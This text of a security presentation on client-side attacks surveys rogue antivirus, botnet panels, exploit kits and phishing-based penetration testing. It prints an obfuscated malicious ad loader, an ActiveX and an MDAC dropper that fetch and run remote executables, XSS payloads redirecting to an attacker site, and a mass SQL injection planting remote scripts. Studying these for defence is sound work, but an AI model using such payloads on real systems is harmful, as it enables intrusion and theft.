

someone always clicks the link

CLIENT SIDE ATTACKS

Why Client Side Attacks?

Better Controls

- Breaching the network perimeter is much more difficult today than a few years ago
 - Dedicated Security Teams
 - Network Separation
 - Internal vs. External vs. DMZ
 - Hardened Server Builds
 - IDS/IPS
 - Security Event Monitoring & Alerting
 - Software security is improving (?)
 - [ms08_067](#)

So Now What?

- Who has 'unrestricted' access to the internal network anytime?

THE USER

User Environment

- ⦿ Far more complex than publicly available servers.
 - Yet less protected
 - Hard to fingerprint - no direct access
- ⦿ Has legitimate (usually persistent) access to the network's critical assets.
- ⦿ Is a “domain user” on the network.
 - Browse file shares, run net commands, etc...
 - Domain users can do more than local accounts and SYSTEM.
- ⦿ Connects to the Internet from within the internal network.

User Environment cont...

- ⦿ Combination of tools, 3rd party applications or in-house software.
 - Different software companies with differing attitudes towards security and updates.
- ⦿ Patching policies, if any, vary
 - Workstation policy != Server policy
 - WSUS/SUS doesn't patch random 3rd party applications.
 - Some tools that do. *Assumes an organization has a good handle on the software deployed*

Malware

- ⦿ Attackers like love low hanging fruit

- ⦿ Why?

- Broad 'unaware' target user group
- Risk vs. Return [\$\$\$]
- It's really 'easy' 😊

Antivirus XP 2008

Official International Virus Research Lab Product

**MORE RELIABLE
MORE EFFECTIVE
MORE PROACTIVE**

Antivirus XP 2008 - antivirus/virus security protector, the new comprehensive, automatic, and self-updating PC care service that helps to protect and maintain your PC.

Free Check

Download

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Green AV Professional License

Secure SSL Connection
100% Privacy Guarantee

Protect your PC and join our green movement

11159 users worldwide trust us. Their stories are...

Protect your PC with innovative technology and prevent further infection.

100% removal of malicious software, viruses, spyware, malware etc.

Removes suspicious files, Facebook and MySpace account stealers.

Protect personal information from phishing.

Protect E-mail correspondence, addressbook stealing, spam abuse.

Environment care program. \$2 from every sale we make will be sent on saving green forests in Amazonia.

Buy Green AV today and make your contribution to Environmental care program. We have already raised:

\$ 23 118.1966...
and counting... :oat!

Fully Secure & Encrypted Ordering - Even Safer Than Over The Phone.

Trusted: Your Email Address and Personal Information are secure and NEVER leaked.

Retal price **\$99,99**

Buy now

100% money back guarantee

Donis Kolmann
26 years
web-developer
NY

"I can trust Green AV to protect my PC. I know that creating truly good antivirus - is a tough challenge, and Green AV Team did it."

Anne Tarlan
34 years
teacher, housewife
LA

"I think the Environmental program was indeed the strongest reason. There are many antivirus, and they all are great I suppose. But I chose the idea of environmental care and try to support it whenever it is. It looks simple just 2 dollars, but it's a good new start!"

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Antivirus VIP | Your safe web-surfing solution

Full Windows XP Service Pack 3 compatibility

**MORE RELIABLE
MORE EFFECTIVE
MORE PROACTIVE**

GENUINE Antivirus Software

Buy and download our latest products

Scan your system for free now

Antivirus V.I.P approve that virus and trojan attacks damage more than \$1 billion four and the new virus appears each hour. One of them, virus Sasser, A infected million of computers at the first hour after let out and caused billions damages. It had been connected within a lot of months.

Antivirus V.I.P key features

- Full Windows XP Service Pack 3 Security Center Support
- RescueScan Technology - With Ultra high speed scan rescuing yours PC from viruses for few seconds!
- Ultimate Live Update - Each 2 hours anti-virus bases and modules are completely updated. Antivirus V.I.P stands sentinel over your privacy and identity!
- Antivirus V.I.P finds out and removes more than 100000 Trojan horses, Spyware, Viruses, Hackers, Adware, Keyloggers and another hardware.
- Antivirus V.I.P allows scan files quickly and access other features Antivirus V.I.P directly from Windows Explorer:
 - Removes Active Trojan From a disk even if it's blocking the file;
 - Removes trojan files are locked for writing (for example, .dlls being used);
 - Best backdoor and worm protection;
 - Supports compressed file scan;
 - Reports and Activity Log functionality;
 - Virus Removal Assistant can force clean the stubborn trojans and spyware than the other removal tools can do;
 - The Behavior Analysis Technology can find out the unknown trojans and spyware better;
 - The scheduled scan supports automatic scan at specified time;
 - Lowest CPU usage rate, best performance and modern user GUI.

Virus Response Lab 2009

Protect Yourself

Stop Spyware and Spam from infecting your PC

DOWNLOAD

FREE SCAN

Live Updated

The Live Update feature allows you to keep VirusResponse Lab 2009 up-to-date to the latest known Spyware threats.

[Download VirusResponse Lab 2009 now!](#)

No one is safe!

According to the National Cyber Security Alliance, 9 out of 10 computers with an Internet connection are infected with spyware, without knowledge or approval. Commercial websites, "free" software and marketing companies are massively distributing dangerous Spyware that put you at risk. Find out right now with our [FREE Spyware Scan](#).

Spyware in the news

MacNewsWorld: "Spyware is evolving into a monster that might soon become more vicious than e-mail spam and virus attacks combined."

TheRegister: "73,000 Trojan horse OS/2000 system monitoring programs and 2.3 million adware programs in a sea of only 420,000 PCs..."

[To learn more about VirusResponse Lab 2009 click here.](#)

What is Spyware?

Spyware (e.g. virus) is malicious software planted on your PC by a third party in order to secretly monitor what you do online. Once your browsing habits are analyzed, you are flooded with endless Commercials, Pop-ups and Spam from made your PC Spyware dramatically slows down your computer and Internet connection speed!

Spyware collects your private information and steals your identity, passwords, credit card details and other financial data!

[To learn more about VirusResponse Lab 2009 click here.](#)

Spyware Scan

Scan your entire system for infections using our exclusive threat database that gets updated every single hour. Scanning is an easy 3-step process by the end of which your system will be clean of all spyware dangers.

Spyware Live Monitoring

Brand-new real-time monitor for any kind of spyware or adware attacks attempted on your machine. After you clean your system, © Spyware will keep unwatching your back. You'll never have to worry about spyware again.

Spam Filter

The real-time filtering program monitors and blocks all incoming spam, keeping your inbox clean of annoying (and sometimes dangerous) messages.

Pop-up Blocker

Being automatically integrated into your browser, it will make you forget about commercial pop-ups sooner than you can imagine!

What do all these products have in common?

So why go to all this trouble?

- ⦿ Bots, botnets & more bots!
 - Phishing
 - Spamming
 - Denial of service attacks
 - Data harvesting/keylogging
 - Banking information / Credit cards
 - Username/passwords
 - Malware hosting/distribution sites
- ⦿ Botnets equal \$\$\$ and lots of it!

It's all the same thing...

- ◉ Adware
- ◉ Spyware
- ◉ Rogueware
- ◉ Ransomware
- ◉ Scareware
- ◉ Malware



CRIMEWARE

It really is all about money...

usa full infos

*** CC's with full info(USA only)***
*** Fresh and valid stuff ***

Format of cc with full info:

- *Full name
- *Billing address
- *CC number
- *Exp. date
- *Cvv
- *Atm pin
- *Mother maiden name
- *Social Security Number
- *Date of birth
- *IP address
- *Host name
- *E-mail address(some with e-mail acces too)

Price: 15\$/cc with full info

FORGET Russians, Romanians, Chinese, Malaysian, etc.
Deal with the PROS.

I've got big, VERY FRESH databases of skimmed dumps
(org track 1 and 2). In business over 6 years. Will replace
failures, no problem.

Min order FIVE of any type.

--- USA---

MasterCard, Visa Classic -\$20

Visa Gold/Platinum/Corporate/Signature/Business -\$40

American Express -\$30

---CANADA---

MasterCard, Visa Classic -\$20

Visa Gold/Platinum/Corporate/Signature/Business -\$40

---EU---

MasterCard, Visa Classic -\$70

Visa Gold/Platinum/Corporate/Signature/Business -\$100

---ASIA---

Visa Gold/Platinum/Corporate/Business -\$100

A Few Stats...

- ◎ 75 percent of Web sites with malicious code are legitimate sites that have been compromised.
- ◎ 60 percent of the top 100 most popular Web sites have either hosted or been involved in malicious activity in the first half of 2009.
- ◎ 12 percent of Web sites infected with malicious code were created using Web malware exploitation kits.
- ◎ 'drive-by' exploits & malware hosting sites

Top 10 Web Attack Vectors

1. Browser vulnerabilities
2. Adobe Flash vulnerabilities
3. ActiveX vulnerabilities
4. SQL injection
5. Adobe Acrobat Reader vulnerabilities
6. Content management systems (CMS) vulnerabilities
7. Apple QuickTime vulnerabilities
8. Malicious Web 2.0 components (e.g. facebook applications, 3rd-party widgets/gadgets, banner ads)
9. RealPlayer vulnerabilities
10. DNS cache poisoning

⦿ Don't forget Email, IM/p2p & Fileformat bugs

I'd Never Visit these...

- ⦿ myzonedom.ru
- ⦿ hfju38djfhjdi3kd.cn
- ⦿ leiayre.cn
- ⦿ validating.ru
- ⦿ srvfarino.co.cr
- ⦿ 35465543.com
- ⦿ nenastiya.cn
- ⦿ spaider.no-ip.biz
- ⦿ ddoser.selfip.org
- ⦿ cr4zyl0v3.no-ip.biz

What about this site?




On Sept 14, 2009...

- 3rd Party Banner Ad infected NYTimes viewers

- Malicious iframe

 - tradenton.com/?id=21610438

- Fake Antivirus



The actual code...

```
<html><body style="margin:0; padding:0;">
<script type="text/javascript">
var rightNow = new Date();
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0);
var temp = date1.toGMTString();
var date3 = new Date(temp.substring(0, temp.lastIndexOf(" ")-1));
var hoursDiffStdTime = (date1 - date3) / (1000 * 60 * 60);
tz_crt = hoursDiffStdTime;


document.write(unescape("%3Ca href='http://www.bulgari.com/main.php?lang=6/ref=680'
target='_blank'%3E%3Cimg src='http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0'
%3E%3C/a%3E"));

var a1 = "http://sex-and-";
var a2 = "the-city.cn/go.php?i";
var a3 = "d=2006-63&key=0522c7066&p=1";
var action_URL = a1 + a2 + a3;
var cur_domain = "harlingens.com";

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70
%65%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%
22%20%2B%20%63%75%72%5F%64%6F%6D%61%69%6E%20%2B%20%22%2F%69%6E%63%6C%75%64%6
5%73%30%32%2E%6A%73%27%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63
%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B'));

</script></body></html>
```

Exploit Kits & a SAAS Model



Point & Click Exploitation

The screenshot displays the FRAGUS web application interface. At the top left is the FRAGUS logo, and at the top right is a navigation bar with links: Statistics | Files | Sellers | Traffic links | Preferences | Logout.

Total statistics:

- ☐ Ajax autoreload
- Hosts: 114
- Frag: 26
- Percentage: 22.81%

Add seller form:

- Seller name:
- Uploading file: -- Random file
- Exploits: ☒ mdac, ☐ nct, ☒ aolwinamp, ☒ pdf, ☒ swf, ☒ directshow, ☒ ms09002, ☒ snapshot, ☒ com, ☒ spreadsheet, ☐ wvf
-


Sellers list:

	Seller name	Uploading file	Exploits	Hosts	Frag	Percentage
stat	stat link	traffic link	For test	Testinge	mdac, aolwinamp, pdf, directshow, ms09002, snapshot, com, spreadsheet	114 26 22.81%



FRAGUS v1.0

Powered by Fragus
Sales: 99-68-78
Support: 99-69-78

They have stats too...



Anyone can do it...



Command & Control

- ⦿ The interface between the bot herder and the botnet
- ⦿ Communication channels
 - IRC
 - Peer-to-Peer (p2p)
 - HTTP – Blogs, Twitter, News Groups
 - Peer-to-Peer over HTTP
- ⦿ IP Address vs. Domain (FastFlux DNS)

Central Control

STATISTICS	SEARCH	ROUTINES	BotNet CONFIGURER	SETTINGS	IP2LOCATION	SOCKS	LOGOUT
BotNet CONFIGURER							
I HAVE TO	☐ Update Kernels						
	☐ Destroy Kernels						
	☐ Execute Module Command						
	☐ Append Kernel Command						
	☐ Exe Loader						
				PROCEED			
IEFaker links and locations							
	☒ Link that will start FAKE						
	☒ Link to FAKE file						
	☒ f0 wells Fargo.com/	http://81.95.149.226/scm/us/wels/index.html					
	☒ f1 online.lloydstsb.co.uk/logon.ibc	http://81.95.149.226/scm/uk/lloydstsb/personal/inde					
	☒ f1 securecy.hellenicnetbanking.com/personal/realinde	http://81.95.149.226/scm/cyprus/persmain.html					
	☒ f1 online.westpac.com.au/esis/Login/SrvPage	http://81.95.149.226/scm/au/westpac/index.html					
	☒ f1 netbank.commbank.com.au/netbank/bankmain	http://81.95.149.226/scm/au/commonwealth/					
	☒ f1 ibanking.warwickcreditunion.com.au/ob.asp	http://81.95.149.226/scm/au/warwickcreditunion/ind					
	☒ f1 online-business.lloydstsb.co.uk/logon.ibc	http://81.95.149.226/scm/uk/lloydstsb/business/inde					
	☒ f1 halifax-online.co.uk/_mem_bin/formslogin.asp	http://81.95.149.226/scm/uk/halifax.php					
	☒ f1 rbsdigital.com	http://81.95.149.226/scm/uk/rbsdigital/index.html					
	☒ f1 welcome27.co-operativebank.co.uk/CBIBS/web/log	http://81.95.149.226/scm/uk/co-operative/index.html					
	☒ f1 ibank.cahoot.com/servlet/com.aquarius.security.aui	http://81.95.149.226/scm/uk/cahoot.php					

Central Updates

Select Land (Multi Load)

All | All countries

Count to Install

*

Sum.

Insert CompID (Single load)

Uri's to load (Example)

☒ Don't kill loader after job

http://some.com/1.exe

http://go.com/malware.exe

http://kuxi.net/download...

Reset Form

Add to tasks

should press 'Enter' to make new line separate. It's necessary.

Search BOT

by CompID

by IP

Extended


Results per page 30

Search

Select Results								
Add	Land	IP	Rep.	Count total	Last Report	First Report	Bot Ver.	CompID
+	83			141	[25/04/07] 17:17:17	[06/04/07] 18:08:53	3.2.7	2450A...
+	83			237	[25/04/07] 17:27:03	[06/04/07] 18:11:43	3.2.7	32260...
+	83			210	[25/04/07] 17:10:34	[06/04/07] 18:13:30	3.2.7	356E9...
+	83			241	[25/04/07] 17:24:45	[06/04/07] 18:13:32	3.2.7	48A65...
+	83			115	[24/04/07] 15:29:59	[07/04/07] 09:16:27	3.2.7	FB517...
+	83			17	[21/04/07] 11:19:27	[08/04/07] 13:17:19	3.2.7	6DF77...
+	83			59	[24/04/07] 21:15:31	[11/04/07] 12:26:43	3.2.7	2BB64...
+	83			568	[25/04/07] 17:12:52	[06/04/07] 18:21:00	3.2.7	1244E...
+	83			14	[08/04/07] 11:00:55	[06/04/07] 18:21:04	3.2.7	CD927...
+	83			15	[07/04/07] 10:25:36	[06/04/07] 18:21:27	3.2.7	BA1F5...
+	83			35	[24/04/07] 19:21:47	[06/04/07] 18:22:24	3.2.7	1A8A7...
+	83			16	[20/04/07] 19:58:17	[06/04/07] 18:22:32	3.2.7	C029C...
+	83			43	[24/04/07] 21:40:06	[06/04/07] 18:23:33	3.2.7	C94DE...
+	83			205	[24/04/07] 21:41:20	[06/04/07] 18:25:23	3.2.7	9894E...
+	83			70	[13/04/07] 19:29:56	[06/04/07] 18:25:37	3.2.7	5D169...
+	83			77	[24/04/07] 17:23:46	[06/04/07] 18:27:12	3.2.7	92DA2...
+	83			153	[25/04/07] 17:11:47	[06/04/07] 18:29:02	3.2.7	2266E...
+	83			236	[25/04/07] 04:14:44	[06/04/07] 18:29:43	3.2.7	1F97C...
+	83			176	[25/04/07] 17:05:53	[06/04/07] 18:30:08	3.2.7	ACE6B...
+	83			137	[25/04/07] 17:12:12	[06/04/07] 18:30:27	3.2.7	9C7DB...
+	83			6	[06/04/07] 22:11:19	[06/04/07] 18:31:00	3.2.7	6DC0A...

Tasks						
Land	Bot's count	Installed	To install	Uri's	Done	Action
ALL	11160	8411	* - unlim.	http://www...	-- %	Delete Edit

Spamming Made Easy



Targeting Countries


Top 20 Countries (see all)			Top 10 new countries today			Top 10 Countries order by bot's reports		
Country	Rating		Country	Rating		Country	Rating	
Germany	10602	95%	Germany	25	93%	Germany	779693	93%
Russia	179	2%	Czech Republic	1	4%	Russia	16807	2%
United States	81	1%	Russia	1	4%	United States	11196	1%
Austria	60	1%	totaly: 27			Austria	5025	1%
France	26	0%				France	3452	0%
Switzerland	24	0%				Spain	3226	0%
Poland	19	0%				Poland	1943	0%
Spain	19	0%				Switzerland	1693	0%
United Kingdom	17	0%				Hungary	1474	0%
Hungary	15	0%				United Kingdom	1411	0%
Netherlands	10	0%				Totally bot's reports: 838750		
Czech Republic	9	0%						
Belgium	7	0%						
Mexico	6	0%						
Brazil	5	0%						
Iraq	5	0%						
Italy	5	0%						
Slovakia	5	0%						
Turkey	5	0%						
Greece	5	0%						
Totally: 52								

Top 10 bot versions		
Bot version	Rating	
3.2.7	11160	100%
Totally: 1		


Resilience - Fastflux

- ◎ 1 domain = many IP Addresses
 - Round-robin IP Address pool
 - Short TTL
 - Proxy nodes
- ◎ Load distribution
 - Health checks for nodes
 - Content availability always maintained
- Legit technique
 - H/A & Load balancing

Single-Flux





Double-Flux



DNS Resolution Comparison

Source: <http://www.honeynet.org>

Waledac



So what does all this tell us?

- ◎ Significant increase in the prevalence and criticality of client-side vulnerabilities
 - A “shift” towards finding vulnerabilities in client-side software
 - 8 categories in SANS Top 20 report relate directly to client-side vulnerabilities
- ◎ High profile incidents taking advantage of vulnerabilities in client-side software
 - ‘drive-by’ exploits & iframe autopwn sites

The reality is:

- ⦿ Client-side attacks are how people get 'in'
- ⦿ Its' becoming critical to test for susceptibility and response to client sides
- ⦿ Client side attacks are the 'Insider Threat'

Value?

- ⦿ Assess the users
 - User awareness/response
 - Training – does it work?
- ⦿ Test Incident Handling/Response teams
 - Detection & response
- ⦿ Determine risk
 - Risk = (Threat x Vulnerability) x Impact
- ⦿ Test technical controls
 - Patching policy - 3rd party apps?
 - Network segmentation [DMZ, etc...] - is it effective?
 - IDS/IPS, etc...

TTL

- ◎ DjVu ActiveX Control ImageURL Property Overflow
 - Released: 10.30.2008
 - www.milw0rm.com/exploits/6878
- ◎ Malware
 - Seen: 10.31.2008
 - www.wackystone.com/counter/Djvu.htm

Client Side Methodology

- ◉ Reconnaissance
- ◉ Scanning
- ◉ Fingerprinting/Enumeration
- ◉ Exploitation
- ◉ Escalation/Post Exploitation
- ◉ Covering Tracks
- ◉ Reporting

Methodology Cont...

- Information Gathering
 - Personal data – emails, etc...
 - Company data – departments, etc...
- Develop Attack Vector
 - Email
 - Website
- Send attack and...

[... get lunch and wait ...]

Scenarios

- ◎ Target specific employees
 - Email carrying malicious document or by pointing the victim to a malicious Web site. Exploit Required.
- ◎ Use social engineering
 - Convince user to install your malware without using an exploit. --- Java update anyone?
- ◎ Large-scale client-side infection campaigns
 - Rely on victims to visit compromised Web sites that deliver client-side exploits, possibly through malicious banner ads.

Scenarios Cont...

- ⦿ How do you determine what scenario to use?
 - What is the theme?
 - How will it be delivered?
- ⦿ Target selection
 - Select who you **DON'T** want to target
 - Arrange targets into groups – Department, etc...
- ⦿ Customize attacks
 - Message should appeal to the target group
 - Message must bypass Spam/Content/AV Filters
- ⦿ Deploy required servers
 - Web
 - email

Delivery

⦿ Email

- Click link, open attachment, enter credentials

⦿ Web

- Browser exploits
- Vulnerable ActiveX controls
- XSS a user to your vulnerable page
- Write access to a web server/application
- Download & run exe
 - No Exploit Required - JavaScript is your friend 😊

Attachments

- ⦿ Open my attachment please 😊
 - Office Attachments are a common and great attack vector.
 - Download and 'infect' a pdf from the company website ala MetaPhish
- ⦿ Typically bypass perimeter security
 - Do you block office extensions?
- ⦿ Difficult to detect
 - Can AV scan and analyze a macro or an overflow in what appears to be a well formatted document?



This is a one-time identity verification process prior to proceeding to the Complacency Awareness and Training website. This is a necessary step as the following pages contain detailed confidential information.

Please enter your Username and Password that you would normally use to login to your workstation.

Username:

Password:

Login



Address Not Found

Firefox can't find the server at www.zeroday solutions.co.

The browser could not find the host server for the provided address.

- Did you make a mistake when typing the domain? (e.g. "**ww**.mozilla.org" instead of "**www**.mozilla.org")
- Are you certain this domain address exists? Its registration may have expired.
- Are you unable to browse other sites? Check your network connection and DNS server settings.
- Is your computer or network protected by a firewall or proxy? Incorrect settings can interfere with Web browsing.

Try Again

WatchGuard

Firebox[®] SSL

with **CITRIX[®]** Secure Access



My own computer

This provides full access to applications and resources in the corporate network
If you are having problems connecting, [click here](#) to install SSL VPN Client.

Username:

Password:

Connect

If you are having problems and need support contact your system administrator

Opening CitrixSAClient.exe

You have chosen to open



CitrixSAClient.exe

which is a: Binary File

from: <http://98.14.243.62>

Would you like to save this file?

Save File

Cancel



What about that link?

- ◎ Wildcard DNS is your friend
- ◎ *.dzro.net is mine. Try it.

`http://dept.company.com.dzro.net/a/page.php?pid=<pageid>&uid=<userid>`

Scope aka Limitations

- ⦿ Gather Metrics only
 - Who clicked the link? When?
 - Was and 'exe' downloaded?
- ⦿ Data Gathering (no exploitation)
 - Username/password or metrics
 - Host information – IP, Plugins, browser, etc...
- ⦿ Gain Access
 - Are Exploits allowed?
 - Drop 'flag', get screenshot
 - Pivoting (?)
- ⦿ Is the user's system in scope...?

```
function ipCheck($target_ip) {  
  
    $scopeIPflag = 0;  
  
    if ((preg_match("/$firstRange/", $target_ip,  
        $matches)) || (preg_match("/$sndRange/", $target_ip,  
        $matches))) {  
        $scopeIPflag = 1;  
    }  
    else {  
        $scopeIPflag = 0;  
    }  
    return $scopeIPflag;  
}
```

Tracking Users

- ⦿ How do you track what the user did?
 - Log everything
 - Timestamps
 - Tag emails, attachments, etc...
 - PageID = {PAGE #}
 - UserID = {MD5}
 - ExeID = {exe|pdf|other}
- ⦿ Data Harvesting....

Java

```
function local_info() {  
    window.onerror=null;  
    try {  
        var sock = new java.net.Socket();  
        sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));  
        sock.connect(new  
        java.net.InetSocketAddress(document.domain,(!document.location.port)?80:  
        document.location.port));  
        document.forms[0].local_ip.value = sock.getLocalAddress().getHostAddress();  
        document.forms[0].hostname.value = sock.getLocalAddress().getHostName();  
  
        for (var index = 0; index < navigator.plugins.length; index++)  
            document.forms[0].plugins.value = document.forms[0].plugins.value  
            +navigator.plugins[index].name + "; ";  
    } catch (e) {}  
}
```

PHP

● PHP Global Variables

<code>\$fields['Remote IP']</code>	<code>= \$_SERVER['REMOTE_ADDR'];</code>
<code>\$fields['Remote Host']</code>	<code>= \$_SERVER['REMOTE_HOST'];</code>
<code>\$fields['Remote Port']</code>	<code>= \$_SERVER['REMOTE_PORT'];</code>
<code>\$fields['User Agent']</code>	<code>= \$_SERVER['HTTP_USER_AGENT'];</code>
<code>\$fields['Referrer']</code>	<code>= \$_SERVER['HTTP_REFERER'];</code>
<code>\$fields['Cookie']</code>	<code>= \$_GET['cookie'];</code>

- Make sure your server is not NAT'd

IE:CLIENTCAPS

- ◉ `getComponentVersion`
- ◉ `isComponentInstalled`

```
<HTML xmlns:IE>
  <HEAD>
    <STYLE> @media all {
      IE\:clientCaps {behavior:url(#default#clientcaps)}
    }
  </STYLE>
</HEAD>
<BODY>
  <IE:clientCaps ID="oClientCaps" />
  <SCRIPT> sMSvmVersion = oClientCaps.getComponentVersion("{44BBA848-
    CC51-11CF-AAFA-00AA00B6015C}", "ComponentID");
</SCRIPT>
:
</BODY>
```

ActiveX Controls

```
var ver = null;
try {
    ver = new ActiveXObject("AcroPDF.PDF");
}
catch (e){
}
if (!ver) {
    try {
        ver = new ActiveXObject("PDF.PdfCtrl");
    }
    catch (e){
    }
}
```

WMI Scripting – MAC & IP Addy

```
var o = _check_obj("WbemScripting.SWbemLocator");
var net = [];
if (o) {
    try {
        var s = o.ConnectServer(strServer = ".");
        var a = s.ExecQuery("SELECT MACAddress, IPAddress FROM Win32_NetworkAdapterConfiguration");
        var e = new Enumerator(a);

        for (;!e.atEnd();e.moveNext()){ // Loop over Adapter properties.
            var x = e.item();
            if(x.MACAddress){
                net[net.length] = '<br>' + x.MACAddress;
            }
            if (x.IPAddress !== null) {
                net[net.length] = x.IPAddress.toArray();
            }
        }
    }
}
```

WMI Scripting – Processes

```
var processes = [];  
a = s.ExecQuery("SELECT * FROM Win32_Process");  
    e = new Enumerator(a);  
    var d;  
    for (; !e.atEnd(); e.moveNext()) {  
        d = "";  
        x = e.item();  
        if (x.Caption) {  
            d = x.Caption;  
        }  
        if (x.CommandLine) {  
            d = d + ':' + x.CommandLine + '<br>';  
        }  
        processes[processes.length] = d;  
    }
```

WMI Scripting - Drivers

```
var drivers = [];  
a = s.ExecQuery("SELECT * FROM Win32_SystemDriver WHERE  
State = 'Running'");  
e = new Enumerator(a);  
for (; !e.atEnd(); e.moveNext()) {  
    d = "";  
    x = e.item();  
    if (x.Name) {  
        d = x.Name;  
    }  
    if (x.PathName) {  
        d = d + ':' + x.PathName + '<br>';  
    }  
    drivers[drivers.length] = d;  
}
```

JavaScript – Popup allowed?

```
function popupsAllowed() {  
    var allowed = false;  
    var w = window.open ("about:blank","", "directories=  
    no,height=1,width=1,menubar=no,resizable=no,scrollbars  
    =no,status=no,titlebar=no,left=0,top=0,location=no");  
    if (w) {  
        allowed = true;  
        w.close();  
    }  
    return allowed;  
}
```

JavaScript – Navigator Object

```
navigator.userAgent = Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; ...  
navigator.platform = Win32  
navigator.appCodeName = Mozilla  
navigator.appName = Netscape  
navigator.appVersion = 5.0 (Windows; en-US)  
navigator.language = en-US  
navigator.mimeTypes = [object MimeTypeArray]  
navigator.oscpu = Windows NT 5.2  
navigator.product = Gecko  
navigator.productSub = 2009101601  
navigator.plugins = [object PluginArray]  
navigator.securityPolicy =  
navigator.cookieEnabled = true  
navigator.onLine = true  
navigator.buildID = 2009101601
```

Try it:
`alert(window.navigator.userAgent)`

Which exploit please...

- ⦿ Serve up exploit based on UA String & OS :

```
$user_agent = getenv("HTTP_USER_AGENT");  
  
if (eregi("(msie) ([0-9]{1,2})", $user_agent, $ver)) {  
    $browser = "MSIE";  
    $version = $ver[2];  
}  
elseif (strstr($user_agent, "Firefox")) {  
    $browser = "Firefox";  
}
```

Why?

```

function check_version() {
    var s;
    var Sys = {};
    var OSVersion = navigator.userAgent.toLowerCase();
    s=OSVersion .match(/windows nt ([\d.]+)/)[1]

    var IEVersion = navigator.userAgent.toLowerCase();

    if(s==5.1) {
        if (document.getBoxObjectFor) {
            Sys.firefox = IEVersion .match(/firefoxV([\d.]+)/)[1];
            document.write("<iframe frameborder=0 src=" + "firefox.html width=468 height=60
scrolling=no></iframe>");
        }
        if (window.ActiveXObject) {
            Sys.ie = IEVersion .match(/msie ([\d.]+)/)[1];
            if (Sys.ie==6.0||Sys.ie==7.0)
                document.write("<iframe frameborder=0 src=" + "ie.html" + " width=468 height=60
scrolling=no></iframe>");
        }
    }
}

```

ActiveX & Browser Exploits

```
<html>
```

```
  <object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='fun'></object>
```

```
  <script language='vbscript'>
```

```
    fun.SnapshotPath = "http://xx.xxx.xxx.xxx/evil.exe"
```

```
    fun.CompressedPath = "C:/Documents and Settings/All  
    Users/Start menu/programs/startup/notsoevil.exe"
```

```
    fun.PrintSnapshot()
```

```
  </script>
```

```
</html>
```

- [ms08_041 Microsoft Access snapshot viewer \[ActiveX\] exploit](#)

MDAC/RDS aka ms06-040

```
function dropper() {  
  var x = document.createElement('object');  
  x.setAttribute('id','x');  
  x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');  
  try {  
    var obj = x.CreateObject('msxml2.XMLHTTP');  
    var app = x.CreateObject('Shell.Application');  
    var str = x.CreateObject('ADODB.stream');  
    try {  
      str.type = 1;  
      obj.open('GET','http://coolsite.com/innocent.exe',false);  
      obj.send();  
      str.open();  
      str.Write(obj.responseBody);  
      var path = '../svchosts.exe';  
      str.SaveToFile(path,2);  
      str.Close();  
    } catch(e) {}  
    try {  
      app.shellexecute(path);  
    } etc....  
  }  
}
```

document.createElement + setAttribute to create & modify attributes of each new element

← RDS.dataspace [MDAC]

← XMLHTTP Obj to handles communication with server

← Instantiate a shell identified by classid

← Object contains method to manage binary stream

XMLHTTP open() & send() methods used to initialize request & send request to server

ADODB.stream open() method opens stream obj.
write() method writes the binary to a binary obj.
SaveToFile() method saves contents to local file

exec file using shellexecute() , part of the function we created earlier

🕒 Works on IE 6 & 7 (with interaction)

Fileformat Exploits

[illegible]

Obfuscation & Encryption

- ⦿ IDS/IPS evasion
 - Code obfuscation
 - `unescape()`, `String.fromCharCode()`
 - `arguments.callee()`, `eval()`
 - String Splitting
 - Whitespace
 - String Randomization
 - XOR
- ⦿ `eval(unescape(var.replace(/[stuff]/g,%u)));`
- ⦿ `eval(gzinflate(base64_decode()));`

More Delivery Vectors - XSS

- ⦿ `http://isis.poly.edu/index.php?page=5'"><script>open(/evilsite.com/.source)</script>&people=0.2&person=1058`
- ⦿ `http://www.poly.edu/calendar/main.php?view=event%3CsCrIpT%3Eeval(location.hash.substr(1))%3C%2fsCrIpT%3E&eventid=111!--#open('//evilsite.com')`
 - Redirect to attacker site – Hosts exploit/login page
 - Persistent XSS is better – why?
 - Steal Cookies, Session ID's
 - XSS Shell

SQL Injection ??

```
;DECLARE%20@S%20CHAR(4000);SET
@S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617
2636861722832353529204445434c415245205461626c655f437572736f7220435552534
f5220464f522053454c45435420612e6e616d652c622e6e616d652046524f4d207379736f
626a6563747320612c737973636f6c756d6e73206220574845524520612e69643d622e6
96420414e4420612e78747970653d27752720414e442028622e7874797065203d39392
04f5220622e7874797065203d3335204f5220622e7874797065203d323331204f5220622
e7874797065203d31363729204f50454e205461626c655f437572736f722046455443482
04e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748
494c452028404046455443485f5354415455533d302920424547494e204558454328277
57064617465205b272b40542b275d20736574205b272b40432b275d3d6c656674282063
6f6e7665727428766172636861722838303030292c205b272b40432b275d292c6c656e2
8636f6e7665727428766172636861722838303030292c5b272b40432b275d2929202d20
3620201320706174696e646578282727257470697263733c2527272c726576657273652
8636f6e7665727428766172636861722838303030292c5b272b40432b275d2929292920
7768657265205b272b40432b275d206c696b652027273c736372697074253c2f7363726
970743e27272729204645544348204e4558542046524f4d205461626c655f437572736f7
220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f722044
45414c4c4f43415445205461626c655f437572736f72%20AS%20CHAR(8000
));EXEC(@S)—
```

SQL Injection !!

```
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+<script
src="http://xxxx.com /pwnt.js"></script><!--" where
'+@C+' not like "%"></title><script
src="http://www.xyxy.com/pwnt.js"></script><!--
